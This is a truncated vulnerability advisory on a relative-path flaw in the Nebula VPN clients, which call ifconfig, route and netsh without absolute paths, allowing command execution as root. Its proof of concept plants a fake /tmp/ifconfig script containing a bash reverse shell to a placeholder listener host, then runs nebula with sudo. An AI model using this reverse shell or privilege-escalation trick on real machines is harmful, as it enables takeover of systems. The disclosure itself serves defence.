Relative Path Vulnerability Results in Arbitrary Command Execution/Privilege Escalation
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Overview### The Nebula clients for Darwin and Windows call relative paths in "exec.Command" to "ifconfig" and "route" executables on Darwin, and to "netsh" on Windows. These commands are entered using relative paths, not absolute paths (such as /sbin/ifconfig). When a binary is run with a relative …
原文中的代码
#!/bin/bash bash -i >& /dev/tcp/LISTENER_IP_ADDRESS/443 0>&1 & DEVICE=$1 CIDER=$2 IP=$3 /sbin/ifconfig $1 $2 $3 4. Make the script executable by running `chmod +x /tmp/ifconfig` 5. Run the Nebula client with the command `sudo ./nebula -config config.yml`. When the ifconfig command is called, it …
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